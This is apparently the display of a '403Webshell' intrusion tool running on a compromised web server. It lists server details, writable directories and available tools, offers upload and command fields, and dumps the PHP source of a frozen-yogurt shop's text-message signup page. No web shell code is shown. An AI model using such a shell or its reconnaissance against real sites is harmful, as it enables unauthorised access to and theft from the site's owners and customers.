403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/froyo2me.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/froyo2me.com/text-message-signup.php
<?php
	function pretty_phone($str) {
		return '('.substr($str,0,3).') '.substr($str,3,3).' - '.substr($str,6,4);
	}
	if(!empty($_POST)) {
		require_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
		if(!empty($_POST['phone'])) {
			$_POST['phone_number'] = preg_replace('/[^0-9]/','',$_POST['phone']);
			$db->query("INSERT INTO yogurtland_texts.text_message_signup
						(
							first_name
							,last_name
							,phone_number
							,ts
						) VALUES (
							'".$db->clean($_POST['first_name'])."'
							,'".$db->clean($_POST['last_name'])."'
							,'".$db->clean($_POST['phone_number'])."'
							,NOW()
						)");
			//$db->debug();
			require_once($_SERVER['DOCUMENT_ROOT'].'/php/twilio.php');
			$phone = $_POST['phone_number'];
			$body = 'Thank you for joining the Yogurtland text group. We look forward to sharing promotions with you. To opt-out, simply reply STOP.';
			$site_code = 'yogurtland';
			$text_type = 'text message signup';
			$response = send_text($phone, $body, $site_code, $text_type);
			//var_dump($response);
		}
		die();
	}
?>
<!doctype html>
<html>
	<head>
		<title>Text Message Signup</title>
		<meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">
		<style>
			body {
				background: #72264b;
				color:white;
				font-family:Helvetica;
				font-size:16px;
				padding:0px;
				margin:0px;
			}
			#main_area_container {
				width:460px;
				margin:0px auto;
				padding:0px 20px;
			}
			#main_area {
				width:460px;
				margin:0px auto;
			}
			.header_area img {
				width:100%;
				margin:20px 0px;
			}
			input {
				color: #72264b;
				background:white;
				padding:5px;
				border:none;
				font-size:18px;
				width:200px;
				margin-top: 5px;
			}
			button {
				color: #72264b;
				background:white;
				font-size:18px;
				padding:10px 20px;
				border:none;
			}
			#result_message {
				display:none;
			}
			@media screen and (max-width: 500px) {
				#main_area_container {
					width:calc(100% - 40px);
				}
				#main_area {
					width:100%;
				}
			}
		</style>
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
		<script type="text/javascript" src="/js/jquery.formatter.min.js"></script>
		<script type="text/javascript">
			function save_info() {
				//make stuff required
				var errors = '';
				if($('[name=first_name]').val()=='') {
					errors += (errors=='') ? '' : "\n";
					errors += 'First Name is required.';
				}
				if($('[name=last_name]').val()=='') {
					errors += (errors=='') ? '' : "\n";
					errors += 'Last Name is required.';
				}
				if(errors!='') {
					alert(errors);
				} else {
					var str = '';
					$('input').each(function() {
						str += (str=='') ? '' : '&';
						str += encodeURIComponent(this.name) + '=' + encodeURIComponent($(this).val());
					});
					$.ajax({
					  method: "POST",
					  url: "/text-message-signup.php",
					  data: str,
					}).done(function( msg ) {
						$('#form_area').hide();
						$('#result_message').show();
					});
				}
			}
			$('document').ready(function() {
				$('input[name=phone]').formatter({
				  'pattern': '({{999}}) {{999}}-{{9999}}',
				  'persistent': false
				});
			});
		</script>
	</head>
	<body>
		<div id="main_area_container">
			<div id="main_area">
				<center class="header_area">
					<div><img src="/images/text_logo.png" /></div>
					<h1>Yogurtland St. George</h1>
					<h1>Text Message Signup</h1>
				</center>
				<div id="form_area">
					<center>
						<div style="margin:20px 0px;">
							<label>First Name<br />
								<input type="text" name="first_name" value="" placeholder="First Name" />
							</label>
						</div>
						<div style="margin:20px 0px;">
							<label>Last Name<br />
								<input type="text" name="last_name" value="" placeholder="Last Name" />
							</label>
						</div>
						<div style="margin:20px 0px;">
							<label>Cell Phone Number<br />
								<input type="text" name="phone" value="" placeholder="Cell Phone Number" />
							</label>
						</div>
					</center>
					<center style="margin:20px 0px;">
						By submitting this form, you agree to receive recurring automated promotional and information text messages from Yogurtland of St. George at the phone number provided.
						<br />
						Consent is not a condition of purchase. Message and data rates may apply. You can opt out at any time by replying STOP. For help, reply HELP or contact (435) 673-5250.
					</center>
					<center style="margin:10px 0px;"><button onclick="save_info(); return false;">Submit</button></center>
				</div>
				<div id="result_message">
					<center style="height:340px;">Thank you signup up to recieve text messages.</center>
				</div>
			</div>
		</div>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit